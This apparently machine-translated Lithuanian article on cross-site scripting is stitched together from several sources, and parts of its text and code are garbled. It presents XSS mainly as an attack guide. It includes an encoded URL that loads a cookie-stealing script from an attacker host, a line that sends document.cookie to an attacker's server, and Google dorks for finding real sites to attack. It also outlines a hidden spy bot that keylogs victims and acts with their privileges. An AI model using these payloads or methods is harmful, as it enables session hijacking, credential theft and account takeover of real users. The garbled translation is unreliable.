Išnaudokite visas XSS spragas. Lengvas įsilaužimas: kaip išgauti duomenis naudojant kelių svetainių scenarijų įtraukimą Tai xss ataka

žyma

Šią žymą galima naudoti norint įtraukti į scenarijų iš išorinės svetainės.

Ar jūsų svetainė yra pažeidžiama įvairių svetainių scenarijų?

XSS pažeidžiamumas yra vienas iš labiausiai paplitusių žiniatinklio programų pažeidžiamumų internete. Laimei, nesunku patikrinti, ar jūsų svetainė ar žiniatinklio programa yra pažeidžiama XSS ir kitų pažeidžiamumų, tiesiog susisiekus su manimi. Už nedidelį mokestį, naudodamas specialias programas, nuskenuosiu jūsų resursą, surasiu galimus pažeidžiamumus ir pasakysiu kaip juos pašalinti.

Kryžminis scenarijus (XSS) yra pažeidžiamumas, susijęs su kliento kodo (JavaScript) įvedimu į kitų vartotojų peržiūrimą tinklalapį.

Pažeidžiamumas atsirado dėl nepakankamo duomenų, kuriuos vartotojas pateikia įterpti į tinklalapį, filtravimo. Tai daug lengviau suprasti naudojant konkretų pavyzdį. Prisiminkite bet kurią svečių knygą – tai programos, skirtos priimti duomenis iš vartotojo ir tada juos rodyti. Įsivaizduokime, kad svečių knyga jokiu būdu netikrina ir nefiltruoja įvestų duomenų, o tiesiog juos parodo.

Galite nubrėžti savo paprasčiausią scenarijų (nėra nieko lengviau, nei rašyti blogus scenarijus PHP – daugelis žmonių tai daro). Tačiau jau yra daug paruoštų variantų. Pavyzdžiui, siūlau pradėti nuo Dojo ir OWASP Mutillidae II. Ten yra panašus pavyzdys. Atskiroje Dojo aplinkoje eikite į šią nuorodą savo naršyklėje: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Jei vienas iš vartotojų įvedė:

Tada tinklalapyje bus rodoma:

Sveiki! Man patinka jūsų svetainė.

Ir jei vartotojas įveda tai:

Sveiki! Man patinka jūsų site.alert("Pwned")

Tada jis bus rodomas taip:

Naršyklės išsaugo daug slapukų daugeliui svetainių. Kiekviena svetainė gali gauti tik jos pačios išsaugotus slapukus. Pavyzdžiui, example.com jūsų naršyklėje išsaugojo kai kuriuos slapukus. Jei lankotės other.com, ši svetainė (kliento ir serverio scenarijai) negali pasiekti example.com išsaugotų slapukų.

Jei example.com yra pažeidžiamas XSS, tai reiškia, kad galime kažkaip įterpti JavaScript kodą į jį ir tas kodas bus vykdomas example.com vardu! Tie. Šis kodas, pavyzdžiui, gaus prieigą prie example.com slapukų.

Manau, visi prisimena, kad JavaScript vykdomas vartotojų naršyklėse, t.y. esant XSS, įdėtas kenkėjiškas kodas įgyja prieigą prie vartotojo, kuris atidarė svetainės puslapį, duomenų.

Įdėtasis kodas gali padaryti viską, ką gali „JavaScript“, būtent:

• įgyja prieigą prie jūsų peržiūrimos svetainės slapukų
• gali atlikti bet kokius puslapio išvaizdos pakeitimus
• pasiekia mainų sritį
• gali įdiegti „JavaScript“ programas, pavyzdžiui, klavišų kaupiklius (klavišų paspaudimų perėmėjus)
• pasiimti jautienos
• ir kt.

Paprasčiausias slapukų pavyzdys:

įspėjimas (dokumentas.slapukas)

Tiesą sakant, perspėjimas naudojamas tik XSS aptikti. Tikrasis kenksmingas krovinys atlieka paslėptus veiksmus. Jis slapta susisiekia su užpuoliko nuotoliniu serveriu ir persiunčia į jį pavogtus duomenis.

Svarbiausias dalykas, kurį reikia suprasti apie XSS tipus, yra tai, kad jie yra:

• Saugomas (nuolatinis)
• Atsispindi (nenuolatinis)

Konstantų pavyzdys:

• Specialiai sukurtas pranešimas, kurį užpuolikas įvedė į svečių knygą (komentaras, forumo žinutė, profilis), kuris išsaugomas serveryje, atsisiunčiamas iš serverio kiekvieną kartą, kai vartotojai prašo rodyti šį puslapį.
• Užpuolikas gavo prieigą prie serverio duomenų, pavyzdžiui, per SQL injekciją, ir į vartotojui pateiktus duomenis įvedė kenkėjišką JavaScript kodą (su kilologeriais arba BeEF).

Nenuolatinių pavyzdžių:

• Svetainėje vykdoma paieška, kuri kartu su paieškos rezultatais rodo kažką panašaus į „Jūs ieškojote: [paieškos eilutė]“, o duomenys nėra tinkamai filtruojami. Kadangi toks puslapis rodomas tik asmeniui, turinčiam nuorodą į jį, ataka neveiks tol, kol užpuolikas neišsiųs nuorodos kitiems svetainės vartotojams. Užuot siuntę nuorodą aukai, galite panaudoti kenksmingo scenarijaus patalpinimą neutralioje svetainėje, kurioje auka lankosi.

Jie taip pat išskiria (kai kurie kaip nenuolatinis XSS pažeidžiamumas, kai kurie sako, kad šis tipas taip pat gali būti nuolatinio XSS tipas):

• DOM modeliai

Paprasčiau tariant, atidarę HTML kodą galime pamatyti kenkėjišką „įprasto“ nepaliaujamo XSS kodą. Pavyzdžiui, nuoroda formuojama taip:

Http://example.com/search.php?q="/>alert(1)

Ir kai atidarome šaltinio HTML kodą, matome kažką panašaus:

įspėjimas(1)" /> Rasti

O DOM XSS pakeičia DOM struktūrą, kuri formuojama naršyklėje skrydžio metu, o kenkėjišką kodą matome tik peržiūrėdami sugeneruotą DOM struktūrą. HTML nesikeičia. Paimkime šį kodą kaip pavyzdį:

site:::DOM XSS Įvyko klaida... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Jūsų seanso ID buvo: " + display_session + "

")

Tada naršyklėje pamatysime:

Puslapio šaltinio kodas:

Adresą suformuokime taip:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Dabar puslapis atrodo taip:

Tačiau pažvelkime į HTML šaltinio kodą:

Ten visiškai niekas nepasikeitė. Štai apie ką aš kalbėjau, norėdami nustatyti kenkėjišką kodą, turime pažvelgti į dokumento DOM struktūrą:

Čia yra veikiantis XSS prototipas, tikram atakai mums reikia sudėtingesnės naudingosios apkrovos, o tai neįmanoma dėl to, kad programa nustoja skaityti iškart po kabliataškio, o kažkas panašaus į alert(1);alert(2) nėra galima ilgiau. Tačiau dėl unescape() grąžinimo duomenyse galime naudoti tokį naudingą krovinį:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Kur pakeitėme simbolį ; į URI koduotą atitikmenį!

Dabar galime parašyti kenkėjišką „JavaScript“ naudingąjį apkrovą ir sukurti nuorodą, kurią nusiunčiame aukai, kaip tai daroma naudojant standartinius nenuolatinius scenarijus įvairiose svetainėse.

„Google Chrome“ (ir „Opera“, kuri dabar naudoja „Google Chrome“ variklį) manęs laukė ši staigmena:

dom_xss.html:30 XSS auditorius atsisakė vykdyti scenarijų "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" nes jo šaltinio kodas buvo rastas užklausoje. Auditorius buvo įjungtas, nes serveris nesiuntė nei „X-XSS-Protection“, nei „Content-Security-Policy“ antraštės.

Tie. naršyklėje dabar yra XSS auditorius, kuris bandys užkirsti kelią XSS. Firefox šios funkcijos dar neturi, bet manau, kad tai laiko klausimas. Jei diegimas naršyklėse sėkmingas, galime kalbėti apie didelius XSS naudojimo sunkumus.

Verta prisiminti, kad šiuolaikinės naršyklės imasi veiksmų, kad apribotų eksploatacinių problemų, tokių kaip nenuolatinis XSS ir DOM pagrįstas XSS, lygį. Tai taip pat reikia atsiminti bandant svetaines naudojant naršyklę – gali pasirodyti, kad žiniatinklio programa yra pažeidžiama, tačiau iššokančiojo patvirtinimo nematote tik todėl, kad naršyklė ją blokuoja.

Užpuolikai, norintys išnaudoti kelių svetainių scenarijų pažeidžiamumą, kiekvieną pažeidžiamumo klasę turi vertinti skirtingai. Čia aprašyti kiekvienos klasės atakų vektoriai.

Dėl XSS pažeidžiamumo atakoms gali būti naudojamas BeEF, kuris išplečia ataką iš svetainės į vartotojų vietinę aplinką.

Nenutrūkstamos XSS atakos pavyzdys

1. Alisa dažnai lankosi tam tikroje svetainėje, kurią priglobia Bobas. Bobo svetainė leidžia Alice prisijungti naudojant vartotojo vardą / slaptažodį ir saugoti slaptus duomenis, pvz., mokėjimo informaciją. Vartotojui prisijungus, naršyklė išsaugo autorizacijos slapukus, kurie atrodo kaip beprasmiai simboliai, t.y. abu kompiuteriai (klientas ir serveris) prisimena, kad ji įėjo.

2. Mallory pažymi, kad Bobo svetainėje yra nuolatinis XSS pažeidžiamumas:

2.1 Kai lankotės paieškos puslapyje, įveskite paieškos eilutę ir spustelėkite pateikimo mygtuką. Jei rezultatų nerasta, puslapyje bus rodoma įvesta paieškos eilutė, po kurios eina žodžiai „nerasta“, o URL atrodo kaip http://bobssite .org?q= jos paieškos užklausa

2.2 Naudojant įprastą paieškos užklausą, pvz., žodį „šunys“, puslapyje tiesiog rodoma „šunų nerasta“ ir url http://bobssite.org?q=dogs, o tai yra gana įprastas elgesys.

2.3 Tačiau, kai anomali paieškos užklausa, pvz., alert("xss"); :

2.3.1 Pasirodo įspėjamasis pranešimas (kuriame rašoma "xss").

2.3.2 Puslapyje rodomas įspėjimas ("xss"); nerastas kartu su klaidos pranešimu su tekstu "xss".

2.3.3 url tinkamas eksploatuoti http://bobssite.org?q=alert("xss");

3. Mallory sukuria URL, kad išnaudotų pažeidžiamumą:

3.1 Ji sukuria URL http://bobssite.org?q=puppies. Ji gali pasirinkti konvertuoti ASCII simbolius į šešioliktainį formatą, pvz., http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kad žmonės iš karto neiššifruotų kenkėjiško URL.

3.2 Ji siunčia el. laišką kai kuriems nieko neįtariantiems Bobo svetainės nariams sakydama: „Pažiūrėkite į šaunius šunis“.

4. Alisa gauna laišką. Ji myli šunis ir paspaudžia nuorodą. Paieškoje nueina į Bobo svetainę, nieko neranda, ten rodomas „nerastas šuo“, o pačiame viduryje paleidžiama žyma su scenarijumi (jis nematomas ekrane), atsisiunčia ir vykdo Malory's. authstealer.js programa (sukelia XSS ataką). Alisa apie tai pamiršta.

5. Programa authstealer.js veikia Alisos naršyklėje taip, lyg ji būtų kilusi iš Bobo svetainės. Ji paima Alisos autorizacijos slapukų kopiją ir nusiunčia juos į Malory serverį, kur Malory juos nuskaito.

7. Dabar, kai Malorie yra viduje, ji nueina į svetainės mokėjimo skyrių, pasižiūri ir pavagia Alisos kredito kortelės numerio kopiją. Tada ji nueina ir pakeičia slaptažodį, t.y. Dabar Alisa net nebegali įeiti.

8. Ji nusprendžia žengti kitą žingsnį ir nusiunčia tokiu būdu sukurtą nuorodą pačiam Bobui ir taip gauna Bobo svetainės administravimo teises.

Nuolatinė XSS ataka

Dorks XSS

Pirmiausia reikia pasirinkti svetaines, kuriose vykdysime XSS atakas. Svetainių galima ieškoti naudojant Google dorks. Štai keletas šių dorkų, kuriuos galite nukopijuoti ir įklijuoti į „Google“ paiešką:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Prieš mus atsidarys svetainių sąrašas. Turite atidaryti svetainę ir rasti joje įvesties laukus, pvz., atsiliepimų formą, įvesties formą, svetainės paiešką ir kt.

Iš karto norėčiau pažymėti, kad beveik nenaudinga ieškoti spragų populiariose automatiškai atnaujinamose žiniatinklio programose. Klasikinis tokios programos pavyzdys yra „WordPress“. Tiesą sakant, „WordPress“, o ypač jos papildiniuose, yra spragų. Be to, yra daug svetainių, kurios neatnaujina nei „WordPress“ variklio (dėl to, kai žiniatinklio valdytojas atliko kai kuriuos šaltinio kodo pakeitimus), nei jų papildinių ir temų (paprastai tai yra piratiniai papildiniai ir temos). Bet jei perskaitysite šią skiltį ir sužinosite iš jos ko nors naujo, tai WordPress dar ne jums... Prie jo tikrai grįšime vėliau.

Geriausi tikslai yra įvairūs savarankiškai parašyti varikliai ir scenarijai.

Galite pasirinkti įdėklą naudingą apkrovą kaip

įspėjimas (1)

Atkreipkite dėmesį į tai, į kurias HTML kodo žymas patenka jūsų įdėtasis kodas. Čia yra tipinio įvesties lauko pavyzdys:

įspėjimas (1)

Mūsų krovinys atsidurs ten, kur dabar yra žodis „pagalvės užvalkalas“. Tie. virsta įvesties žymos verte. Galime to išvengti – uždarome dvigubą kabutę, o tada pačią žymą su „/>“.

"> perspėjimas (1)

Pabandykime su kokia nors svetaine:

Puiku, yra pažeidžiamumas

Tikriausiai visi žiniatinklio programų skaitytuvai turi įmontuotą XSS pažeidžiamumo skaitytuvą. Ši tema nėra išsami, geriau susipažinti su kiekvienu panašiu skaitytuvu.

Apie galimybę gauti įvairios informacijos iš trečiųjų šalių svetainių naudojant paprastą ataką – Cross Site Scripting Inclusion (XSSI).

Jei sistemingai skaitote „Easy Hack“, tikriausiai jau esate gerai susipažinę su ta pačia kilmės politika (SOP), dažnai prie jos grįžtame. Dėl SOP galimybės bendrauti tarp dviejų „svetainių“ yra labai ribotos. Tačiau kadangi dažnai iškyla užduotis gauti ir siųsti informaciją vienoje svetainėje iš kitos, buvo įdiegti įvairūs metodai, kaip „sušvelninti“ politiką ir organizuoti sąveiką. Pavyzdžiui, CORS arba crossdomain.xml. Vienas iš senesnių metodų yra JavaScript įkėlimas iš kito domeno per . SOP čia mūsų niekaip neriboja: galite nurodyti beveik savavališką vietą.

Pavyzdžiui, yra užpuoliko šeimininkas evil.ru ir aukos svetainė - áldozat.com. evil.ru galime įdėti HTML failą ir nuorodą į bet kurį aukos scenarijų:

Kai vartotojas įeina į užpuoliko svetainę, naršyklė įkelia ir paleis JS iš áldozat.com, tačiau SOP evil.ru kontekste. Tai reiškia, kad iš užpuoliko JS galėsime pasiekti (ne visus) JS duomenis iš aukos serverio.

Pavyzdžiui, JS turinys iš aukos svetainės (http://victim.com/any_script_.js):

Var a = "12345";

Tada užpuoliko svetainėje galime gauti kintamojo reikšmę:

console.log(a);

Darbo idėja paprasta kaip aliuminio virdulys.

Tiesą sakant, galimybė įkelti statinį JS iš kitų svetainių nekelia daugiau problemų nukentėjusiajai svetainei nei vaizdo įkėlimas.

Problemų gali kilti, kai JS generuojamas dinamiškai, tai yra, kai JS scenarijaus turinys keičiasi pagal duomenis iš slapuko, priklausomai nuo to, kuris vartotojas jį pasiekia. Pavyzdžiui, JS saugo tam tikrą „kritinę“ informaciją: asmeninę informaciją (el. paštą, naudotojo vardą aukos svetainėje) arba techninę informaciją (anti-CSRF žetonus).

Tačiau, kaip žinome, įkeliant scenarijų per žymą, vartotojo naršyklė automatiškai siunčia slapuką vartotojui. Sudėjus šiuos faktus, galime gauti informacijos apie bet kurį vartotoją, kuris apsilankė užpuoliko svetainėje ir yra prisijungęs prie aukos svetainės.

Ką galime sužinoti? Globalūs kintamieji ir globalių funkcijų rezultatai. Deja, mes negalėsime pasiekti vidinių kintamųjų / funkcijų (nors galbūt kas nors ras būdą, kaip tai padaryti).

Funkcijų testas())( grąžina "privačių duomenų funkcija"; )

Atrodo, kad šis išpuolis įmanomas, bet atrodo pernelyg paprastas ir neturėtų būti įprastas. Tuo Black Hat pristatymas įdomus. Tyrėjai išanalizavo 150 populiarių svetainių ir nustatė, kad trečdalis jų buvo tam tikru mastu pažeidžiamos. Ši statistika verčia pažvelgti į problemą šiek tiek atidžiau.

Taip pat buvo atskleistas kitas modelis. Turinio saugumo politika tampa vis dažnesnė. Kaip žinote, su juo galime nurodyti, iš kurių domenų galima įkelti tą ar kitą resursą. Pavyzdžiui, galite pasakyti, kad JS vykdomas tik iš to paties šaltinio. Be to, geriausia CSP nustatymo praktika apima draudimą vykdyti tiesioginį JS (ty kodą, kuris yra tiesiogiai HTML, o ne įkeliamas iš JS failo).

Tačiau tiesioginis perkėlimas į failus gali būti atliekamas naudojant ramentus ir skubant – tai yra, naudojant dinamiškai generuojamus scenarijus. Kadangi CSP neturi jokios įtakos XSSI, mes vėl galime vykdyti atakas. Tai bloga praktika.

Kelių svetainių scenarijų kūrimas (sutrumpintai XSS) yra plačiai paplitęs pažeidžiamumas, turintis įtakos daugeliui žiniatinklio programų. Tai leidžia užpuolikui įterpti kenkėjišką kodą į svetainę taip, kad svetainėje besilankančio vartotojo naršyklė vykdytų kodą.

Paprastai norint išnaudoti tokį pažeidžiamumą, reikia tam tikros sąveikos su vartotoju: arba jie yra priviliojami į užkrėstą svetainę naudojant socialinę inžineriją, arba tiesiog laukia, kol vartotojas apsilankys svetainėje. Todėl kūrėjai dažnai rimtai nežiūri į XSS pažeidžiamumą.

Tačiau jei jie nebus sprendžiami, jie gali kelti rimtą pavojų saugumui.

Įsivaizduokime, kad esame „WordPress“ administratoriaus skydelyje ir pridedame naują turinį. Jei tam naudosime XSS pažeidžiamą įskiepį, jis gali priversti naršyklę sukurti naują administratorių, modifikuoti turinį ir atlikti kitus kenkėjiškus veiksmus. Kelių svetainių scenarijus leidžia užpuolikui beveik visiškai valdyti svarbiausią šių dienų programinę įrangą – naršyklę.

Bet kurioje svetainėje ar programoje yra kelios vietos duomenims įvesti – formos laukai iki paties URL. Paprasčiausias duomenų įvedimo pavyzdys yra tada, kai į formą įvedame vartotojo vardą ir slaptažodį:

Mūsų vardas bus saugomas svetainės duomenų bazėje, kad galėtume vėliau bendrauti su mumis. Žinoma, kai prisijungėte prie bet kurios svetainės, pamatėte asmeninį sveikinimą „Sveiki, Ilja“.

Būtent tokiais tikslais duomenų bazėje yra saugomi vartotojų vardai.

Įpurškimas – tai procedūra, kai vietoj vardo ar slaptažodžio įvedama speciali simbolių seka, priverčianti serverį ar naršyklę reaguoti tam tikru užpuoliko pageidaujamu būdu.

Kelių svetainių scenarijų kūrimas yra injekcija, kuri įveda kodą, kuris atliks veiksmus naršyklėje svetainės vardu. Tai gali įvykti arba pranešus vartotojui, arba fone, jam nežinant.

Atsispindi XSS ataka suveikia, kai vartotojas spusteli specialiai sukurtą nuorodą.

Šie pažeidžiamumai atsiranda, kai žiniatinklio kliento pateikti duomenys, dažniausiai HTTP užklausos parametrais arba HTML forma, yra tiesiogiai vykdomi serverio scenarijais, siekiant išanalizuoti ir parodyti to kliento rezultatų puslapį be tinkamo apdorojimo.

Išsaugotas XSS galimas, kai užpuolikui pavyksta į serverį įvesti kenkėjišką kodą, kuris vykdomas naršyklėje kiekvieną kartą, kai pasiekiamas pradinis puslapis. Klasikinis šio pažeidžiamumo pavyzdys yra forumai, kuriuose galima komentuoti HTML.

Tas pats kaip ir serverio pusės atveju, tik tokiu atveju ataka galima dėl to, kad kodą apdoroja naršyklė.

Panašiai kaip serverio pusėje saugomas XSS, tik šiuo atveju kenkėjiškas komponentas yra saugomas kliento pusėje naudojant naršyklės saugyklą.

Įdomu tai, kad daugeliu atvejų, kai aprašomas šis pažeidžiamumas, mus gąsdina toks kodas:

Http://www.site.com/page.php?var=alert("xss");

Yra dviejų tipų XSS pažeidžiamumas – pasyvus ir aktyvus.

Aktyvus pažeidžiamumas yra pavojingesnis, nes užpuolikui nereikia vilioti aukos naudojant specialią nuorodą, jam tereikia įvesti kodą į duomenų bazę arba kokį nors serveryje esantį failą. Taigi visi svetainės lankytojai automatiškai tampa aukomis. Jis gali būti integruotas, pavyzdžiui, naudojant SQL injekciją. Todėl neturėtumėte pasitikėti duomenų bazėje saugomais duomenimis, net jei jie buvo apdoroti įvedimo metu.

Pavyzdys pasyvus pažeidžiamumas Tai galite pamatyti pačioje straipsnio pradžioje. Tam jau reikalinga socialinė inžinerija, pavyzdžiui, svarbus svetainės administracijos laiškas, kuriame prašoma patikrinti paskyros nustatymus po atkūrimo iš atsarginės kopijos. Atitinkamai, jūs turite žinoti aukos adresą arba tiesiog pasirūpinti el. pašto šiukšlių siuntimu ar paskelbti kokiame nors forume, ir tai nėra faktas, kad aukos bus naivokos ir sektų jūsų nuorodą.

Be to, tiek POST, tiek GET parametrai gali būti jautrūs pasyviam pažeidžiamumui. Su POST parametrais, žinoma, turėsite griebtis gudrybių. Pavyzdžiui, peradresavimas iš užpuoliko svetainės.

document.getElementsByTagName("forma").submit();

Todėl GET pažeidžiamumas yra šiek tiek pavojingesnis, nes... Aukai lengviau pastebėti neteisingą domeną nei papildomą parametrą (nors url paprastai gali būti užkoduotas).

Tai dažniausiai minimas XSS atakos pavyzdys. Svetainės kartais išsaugo slapukuose dalį vertingos informacijos (kartais net vartotojo prisijungimo vardą ir slaptažodį (arba jo maišą)), tačiau pavojingiausias dalykas yra aktyvios sesijos vagystė, todėl nepamirškite svetainėse paspausti nuorodą „Išeiti“. , net jei tai namų kompiuteris. Laimei, daugumos išteklių seanso trukmė yra ribota.

Var img = naujas vaizdas(); img.srс = "http://site/xss.php?" + dokumentas.slapukas;

Štai kodėl jie įvedė domeno apribojimus XMLHttpRequest, tačiau tai nėra problema užpuolikui, nes yra, , , fonas:url(); ir taip toliau.

Formos ieškome naudodami, pavyzdžiui, getElementById ir stebime onsubmit įvykį. Dabar, prieš pateikiant formą, įvesti duomenys taip pat siunčiami į užpuoliko serverį.

Toks atakų tipas kažkuo primena sukčiavimą, tik naudojasi tikra svetaine, o ne netikra, o tai įkvepia daugiau pasitikėjimo aukai.

Daug lankomų išteklių XSS pažeidžiamumas gali būti naudojamas DDoS atakai pradėti. Esmė paprasta – yra daug užklausų, kurių užpultas serveris negali atlaikyti.
Tiesą sakant, ryšys su XSS yra netiesioginis, nes scenarijai gali būti visai nenaudojami, užtenka tokios konstrukcijos:

Kaip galite apsaugoti savo svetainę nuo XSS? Kaip patikrinti, ar kode nėra pažeidžiamumų? Yra tokių technologijų kaip „Sucuri Firewall“, kurios yra specialiai sukurtos tokių atakų išvengti. Bet jei esate kūrėjas, tikrai norėsite sužinoti daugiau apie tai, kaip nustatyti ir sumažinti XSS spragas.

Apie tai kalbėsime kitoje straipsnio apie XSS dalyje.

Visi seniai žino, kad dažniausiai naudodamas XSS užpuolikas bando nusiųsti aukai slapuką, nuskaityti CSRF žetonus, įvykdyti sukčiavimo ataką (sukurdamas netikrą prisijungimo formą), atlikti kokį nors veiksmą vartotojo vardu ir kai kurios kitos panašios atakos (gal tai dar ne visos galimybės, bet tai visos šiuo metu man žinomos populiariausios).

Šio metodo tikslas yra stebėti puslapius vartotojo vardu, kuriuos jis naršo užpultoje svetainėje, taip pat stebėti jo klavišų paspaudimus (taip pat galite naudoti pelės judesius ir paspaudimus, bet man tai bus nereikalinga, ne itin naudinga informacija, daugeliu atvejų tikrai).
Dabar apie maksimalią naudą - manau, kad algoritmas bus toks:

• skaityti ir siųsti slapukus;
• skaityti ir siųsti likusią informaciją (IP adresą, įdiegtus papildinius, naršyklės versiją ir tipą, „flash“ palaikymą, „Silverlight“ palaikymą ir kt.) [neprivaloma]
• gauti informacijos apie vidinį tinklą, įsiskverbti į maršrutizatorių [neprivaloma]
• skaityti ir siųsti skirtingus žetonus [neprivaloma];
• įgyvendinti sukčiavimą [neprivaloma];
• ką nors darome „vartotojo rankomis“ [neprivaloma];
• mes toliau jį šnipinėjame ir gauname informaciją, kol jis uždaro skirtuką arba išeina iš svetainės;

Visi pasirenkami sąrašo elementai IMHO turėtų būti atliekami atsižvelgiant į situaciją ir konkrečius tikslų prioritetus, kuriuos reikia pasiekti naudojant XSS, jie kartais gali trukdyti vienas kitam (jei bandote juos sujungti, o tiksliau vykdyti vienas po kito) ir padidinti XSS veikimo gedimo tikimybę.
Bet pirmas ir paskutinis punktai visada turi būti įvykdyti, bet kokiu atveju pagrindinė straipsnio dalis bus apie paskutinį šio sąrašo tašką.

Pradėsiu nuo tolo: per JavaScript galima pakeisti kelią adreso juostoje neperkraunant puslapio. Pavyzdžiui, jei vartotojas įkėlė puslapį adresu

Tačiau ši technika turi dar įdomesnių ir galingesnių programų. Mes imituosime vartotojo buvimą svetainėje paspaudę nuorodą, iš tikrųjų jis visą laiką liks viename puslapyje, o šiuo metu veiks trečiosios šalies scenarijus, išgaunantis ir siunčiantis informaciją užpuolikui. Taigi, XSS veiks tol, kol vartotojas spusteli nuorodą šiame domene .

Bendras veikimo principas yra toks: kai vartotojas įeina į puslapį su XSS, scenarijus sukuria iframe su tuo pačiu adresu kaip ir puslapis ir jį „prideda“ priekiniame plane, vartotojui susidaro įspūdis, kad puslapis įkeliamas normaliai, nes iframe galima matyti tik kodų puslapiuose.

O pagalbinis scenarijus valdo šnipinėjimo roboto logiką, tai yra, stebi, kada pasikeičia adresas rėmelyje, kad pakeistų jį adreso juostoje, bet jei naujai pakeistas kadro adresas turi kitą domeną, galite atidaryti jį naujame skirtuke arba turėsite iš naujo įkelti puslapį, kad nesudegtumėte.
Taigi, kad XSS šiuo metu nustotų vykdyti, vartotojas turi arba atnaujinti puslapį rankiniu būdu (jei XSS yra atspindėtas ir buvo perduotas naudojant POST metodą, kitais atvejais atnaujinimas nepadės, beje, kai kurie naršyklės dabar gali vėl siųsti POST užklausą atnaujindamos puslapį) arba uždaryti skirtuką arba persijungti į kitą domeną (nors tokiu atveju vis tiek galite neprarasti kontrolės).

Jei jis patenka į užpulto domeno padomenį, tai yra užpuoliko pasirinkimas, ty XSS veiks, tačiau yra nedidelė tikimybė, kad vartotojas aptiks adreso neatitikimą. Manau, kad priklausomai nuo situacijos čia, pavyzdžiui, jei buvo užpultas google.ru domenas, vartotojas persijungė į Google debesies failų paslaugą, kuri dažniausiai yra drive.google.ru padomenyje, tada yra tikimybė, kad jis pastebės adreso juosta yra gana aukšta, jei jis dažnai naudojosi šia paslauga. Priešingu atveju taip pat galite rizikuoti. Tačiau turime atsižvelgti į tai, kad nebegalėsime nuskaityti jo duomenų iš rėmelio su subdomenu, nes kryžminės kilmės politika to neleis. Bet mes galime saugiai naršyti pagrindiniame domene jo vardu paslėptu režimu (daugiau apie tai žemiau).

Tik šis metodas turi apribojimų, ty jis neveiks, jei svetainės žiniatinklio serverio atsakymuose yra antraštė X-Frame-Options su reikšme DENY . Bet asmeniškai aš susidūriau su tokiomis svetainėmis tiesiog porą kartų, dabar net pusė jų neturi SAMEORIGIN, jau nekalbant apie visišką apribojimą ATNEIKTI.

Dabar tikriausiai daugelis prisimena tokį nuostabų dalyką kaip BeEF, kuriame taip pat yra daug įdomių dalykų. Beje, yra ir galimybė priversti vartotoją peradresuoti kadre, tačiau adreso juostoje adresas nesikeičia, o tai gali greitai išdeginti stalą ir ši parinktis tarnauja kiek kitokiems tikslams.
Apskritai, BeEF turi beveik viską, ko reikia, ir net daug papildomų funkcijų, tačiau man asmeniškai norėjosi papildomos funkcijos, būtent:

• galimybė realiuoju laiku stebėti puslapių, kuriuos užpuolė vartotojas, kodą;
• galimybė matyti viską, ką jis įveda toje svetainėje (nuo prisijungimo vardo ir slaptažodžio iki greitųjų klavišų ir pranešimų), tai yra JS klavišų kaupiklis;
• galimybė duoti JS komandas savo botui realiu laiku, peržiūrėjus gautų puslapių kodą;
• galimybė palikti komandas robotui vietoje, kad vėliau jis galėtų jas „pasiimti“ ir įvykdyti be mūsų tiesioginio dalyvavimo;
• mažesnė tikimybė, kad robotas bus sudegintas, arba roboto gebėjimas „pasislėpti“ nuo smalsių akių;

Kaip minėta aukščiau, aš nusprendžiau pasiskolinti šaunią komandų vykdymo eilės idėją iš BeEF. Pavyzdžiui, išanalizavome puslapius, kuriuos botas išmetė, kai privilegijuotas vartotojas prisijungė prie savo valdymo pulto su saugomu XSS, paliekame botui komandas – JS kodą, pvz., kai kitą kartą vartotojas prisijungs, spustelėkite šį mygtuką, parašykite tai vertė čia ir pan. , kai kitą kartą šis vartotojas apsilankys puslapyje, robotas nuskaito komandas ir jas vykdo, o mes neturime visko būti prie jo vairo – tai labai patogu.

Iš esmės toks botas, žinoma, yra skirtas aukšto statuso kai kurių svetainių vartotojams, turintiems papildomus „svertus“ turiniui valdyti, kitiems vartotojams ir pan. Iš užklausų dėl funkcionalumo aišku, kad be serverio dalies neapsieisime.

Iš esmės galite praleisti šią straipsnio dalį, nes joje tiesiog aprašomas norimo roboto diegimo procesas ir kai kurios jo detalės, jei kas nors norėtų jį perdaryti ar pritaikyti sau. Nors robotas kodo pradžioje turės kintamuosius, per kuriuos galėsite nustatyti kai kuriuos nustatymus.
Pirma, roboto veiksmų algoritmas nuo įkėlimo momento:

1) Tikrinama, ar nėra antraštės X-Frame-Options: DENY(jei yra, tada susukame meškeres);
2) rėmo įdėjimas ir visų roboto komponentų nustatymas;
3) Scenarijaus ir visų pėdsakų pašalinimas HTML kode;
4) Kontakto su serverio dalimi užmezgimas ir duomenų siuntimo pradžia, atsakymas į atsakymus (komandų gavimas iš serverio);

Pirmasis punktas nebuvo atliktas iki galo, tai yra, robotas patikrina tik pirmąjį puslapį ir šakninę antraštę. Faktas yra tas, kad paprastai šias antraštes žiniatinklio serveris sukuria visiems puslapiams vienu metu ir labai retai vienam puslapiui viskas daroma „rankiniu būdu“. Ir pats šis pavadinimas yra gana retas. Na, apie antrą ir trečią nėra daug ką pasakyti, viskas bus žemiau.

Yra gana svarbus momentas, kad prieš įtraukdami boto scenarijaus kodą į savo kodą, turite nedelsdami pašalinti XSS ženklus adreso juostoje (iš JS kodo), nes tai sumažina aptikimo tikimybę ir, svarbiausia, apsaugo nuo pasikartojimo. įvyksta pridedant adresą prie kadro su tuo pačiu XSS kodu, kuris savo ruožtu sukuria kitą kadrą su savimi ir pan.

Bet tik tuo atveju, boto kodas įgyvendina galimybę aptikti tokią kadrų rekursiją ir užkirsti jai kelią pirmu bandymu pridėti kadrą prie jau sukurto, tačiau geriau nepasikliauti tik juo, o papildomai pašalinti kodą. prieš įkeldami boto kodą. Nors su problemomis dar nesusidūriau.

